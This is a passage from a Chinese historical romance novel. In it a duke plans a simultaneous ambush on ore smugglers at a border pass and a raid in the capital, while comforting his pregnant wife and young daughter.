李梵娘靠在他身上缓了一会儿,才摇摇头,勉强笑了笑:“没事……只是想到接下来要开始动作了,有些担心你。” 她抓住杜仁绍的手,“仁绍,一定要小心,那些人狗急跳墙,什么手段都使得出来。” 杜仁绍把她搂在怀里,吻了吻她的发顶,“别怕,梵娘,我们准备充分,他们三个都是可以托付性命的人。” “为了你,为了孩子,为了这个家,我一定会赢,一定会平安回来。” 他扶着她坐到榻上,“你累了,别再想了。好好睡一觉,等我消息。” 杜仁绍守在榻边,握着她的手,直到她睡着才起身。 替她掖好被角,走到书案前,一遍遍推演着即将到来的行动。 李梵娘这一觉睡得并不踏实,做了一晚上的梦,前一秒是染坊冲天的毒气,下一秒就是双方的刀光剑影。 第二百六十六章 同时开始 天刚蒙蒙亮,她便醒了,只觉得胸口闷得厉害,小腹也传来隐隐的坠胀感。 她下意识地伸手摸了摸小腹,心中一阵不安。 杜仁绍几乎一夜未眠,现在正和衣靠在榻边的软椅上假寐,听到动静立刻醒了。 “梵娘?怎么了?哪里不舒服?”他一步跨到榻边。 李梵娘摇摇头,勉强笑了笑,“没事,就是睡得有些不安稳。” 她没说真话,不想让他在这种紧要关头再为自己分心。 杜仁绍看着她除了脸有些发白,状态还好,松了口气。 他扶她坐起,“再歇会儿,早膳我让人温着,想吃了再起。” 话音刚落,书房的密道又被叩响。 杜仁绍神色一凛,与李梵娘对视一眼,两人眼中都闪过一丝凝重。 书架滑开,一名浑身带着露水的暗探闪身进来,单膝跪地,递上来一个羊皮小筒。 “国公爷,夫人!南诏八百里加急!” 杜仁绍接过信筒,抽出里面的纸条迅速展开。 李梵娘也撑着榻沿站起身,紧张地望着他。 只见杜仁绍越看眉头皱得越紧,脸色也沉了下来。 “好个黑石部落!果然按捺不住了!”他冷哼一声,把密信递给走上前来的李梵娘。 “玉萝公主已确认南诏黑石部落近日有异动。” “其部落人员装成商队,集结在边境黑风峪一带,押运的物资很重,车轮都快陷进地里,护卫森严,她派人探查到运送货物有九成都是墨玉髓原石,数量大的惊人。” “玉萝公主判断,此批矿石将在两日后的子夜,从黑风峪隘口偷运出境,对方接应的人马似乎已经潜了进来,埋伏在了隘口另一侧。” “公主已暗中调集人手,想要配合我们在黑风峪设埋伏,截住这批矿石,擒拿黑石部落首领以及中原接应的人,恳请定夺!敬候军令!” 李梵娘看完,心也提了起来,“黑风峪……那里地势险要,易守难攻,确实是走私的好地方,玉萝想要趁机人赃并获,若是能拿下活口那就太好了。” 杜仁绍负手在书房内踱步,脑中飞速权衡。 京城这边,对永丰染坊的行动箭在弦上,随时可能要开始。 南诏那边,这个机会难得,若是让这批矿石顺利出境,再想追查就难如登天。 两边同时进行,对兵力和精力都是极大的考验。 但……若是能在南诏截获赃物,拿下人证,与京城端掉染坊的行动一结合,无疑能给崔家一个不小的打击。 他猛地停下脚步。 “来人!” “回消息过去,”杜仁绍语速极快,“全力配合玉萝公主行动!” “让我们的人务必好好部署,利用黑风峪地利,力求捉拿全部走私队伍,生擒黑石部落首领和中原接应的头目,缴获全部墨玉髓原石。” “行动务要迅速彻底!吗,不得有误,获得的人证物证后,加急押送回京。” “是!”暗卫记下,复述一遍确认无误,立刻转身钻入密道。 吩咐完的杜仁绍长长吐出一口浊气,发现李梵娘状态更不好了。 “梵娘!”他心头一紧,连忙扶住她,“是不是又难受了?” 李梵娘借着他的力道坐下,闭眼缓了缓那股不适,“没事……只是听到南诏也要动手,心里有些……有些发慌。” 她抓住杜仁绍的手,“仁绍,两边同时动作太冒险了……” “我知道你的担心。”杜仁绍握紧她的手,“但机会难得,容不得我犹豫。” “崔家布局已久,我们若是只解决一边,很难伤到他的根本,同时打掉他的原料来源和加工的据点,才能让他元气大伤!” 他蹲下身平视着李梵娘的眼睛,“我们的人久经沙场,玉萝那丫头如今也历练出来了,黑风峪是他们的地盘,胜算很大。” “至于京城这边,我们准备充分,赵无咎、沈追都是能够独当一面的悍将,我亲自坐镇,绝不会失手的。” 李梵娘看着他眼中的自信,心里的慌乱稍稍平复了些。 她知道自己此刻不能乱,更不能拖他后腿。 她深吸一口气,点了点头:“我信你,也信玉萝,只是……万事小心。” “放心。”杜仁绍见她情绪稳定下来,心下稍安,“你现在最要紧的是养好身子,这些打打杀杀的事,交给男人去办。” 他唤来侍女,仔细吩咐她们伺候夫人用早膳、服药,又特意叮嘱去请太医署最擅长安胎的圣手过来请个平安脉。 安排妥当后,他才转身继续去看地图。 另一边的玉萝看完信,将信纸攥紧。 她走到窗边,望向黑风峪的方向。 她轻声唤来贴身侍女,低声吩咐了几句。 片刻后,一队身着便装的人马,悄无声息地离开了王城。 与此同时,镇国公府内,李梵娘勉强用了几口清粥,便再也吃不下任何东西。 太医来请过脉,只说忧思过度,胎象略有些不稳,需要静养,又开了安神的方子。 太医走后,杜仁绍将煎好的安胎药端到榻前,看着李梵娘喝完递上一颗蜜饯。 "苦吗?"他轻声问,指尖拂过蹙着的眉间。 李梵娘摇摇头,将蜜饯含在嘴里,甜味冲散了喉间的苦涩。 她靠回软枕上,目光不由自主地飘向窗外。 庭院里的海棠开得正艳,几只麻雀在枝头鸣叫,一派安宁祥和。 "南诏那边......"她终究还是没忍住,轻声开口,"我还是担心......" 杜仁绍握住她的手,"放心,我已经选了几个得力的老部下去了,他们都是跟着我征战多年的老兵,熟悉各种地形作战。况且——" 他顿了顿,"玉萝那丫头,比你想象的要坚强。" 他起身走到书案前,取来一封信:"这是刚刚又收到的信,玉萝在发现情况的第一时间就命人伪装成采药人,在黑风峪两侧山崖设下了埋伏。” “还特意从部落老人那里打听到一条鲜为人知的小道,可以直接走到隘口后面。" 李梵娘接过信,看着上面的内容微微愣神。 信中详细部署了埋伏,甚至连天气风向都考虑在内。 "她长大了。"李梵娘轻叹一声,不知是欣慰还是感慨。 杜仁绍在她身侧坐下,将她的手握在掌心:"所以不必过分忧心,倒是你……" 正说着,春儿轻手轻脚地推门进来,手里捧着个插了几枝新开海棠的瓷瓶。 小丫头今日特意换了身淡粉的襦裙,发髻上别着珠花,显得格外乖巧。 "娘亲,"她将花瓶放在小几上,"张大娘说花儿能让人心情好,春儿挑了最漂亮的海棠,娘亲看着花儿,就不难受了。" 李梵娘心头一暖,将女儿揽到身边:"谢谢春儿。" 春儿靠在她怀里,仰起小脸认真地说:"娘亲要乖乖吃药,快点好起来,等小弟弟小妹妹出来了,春儿带他们去看海棠花。" “好……”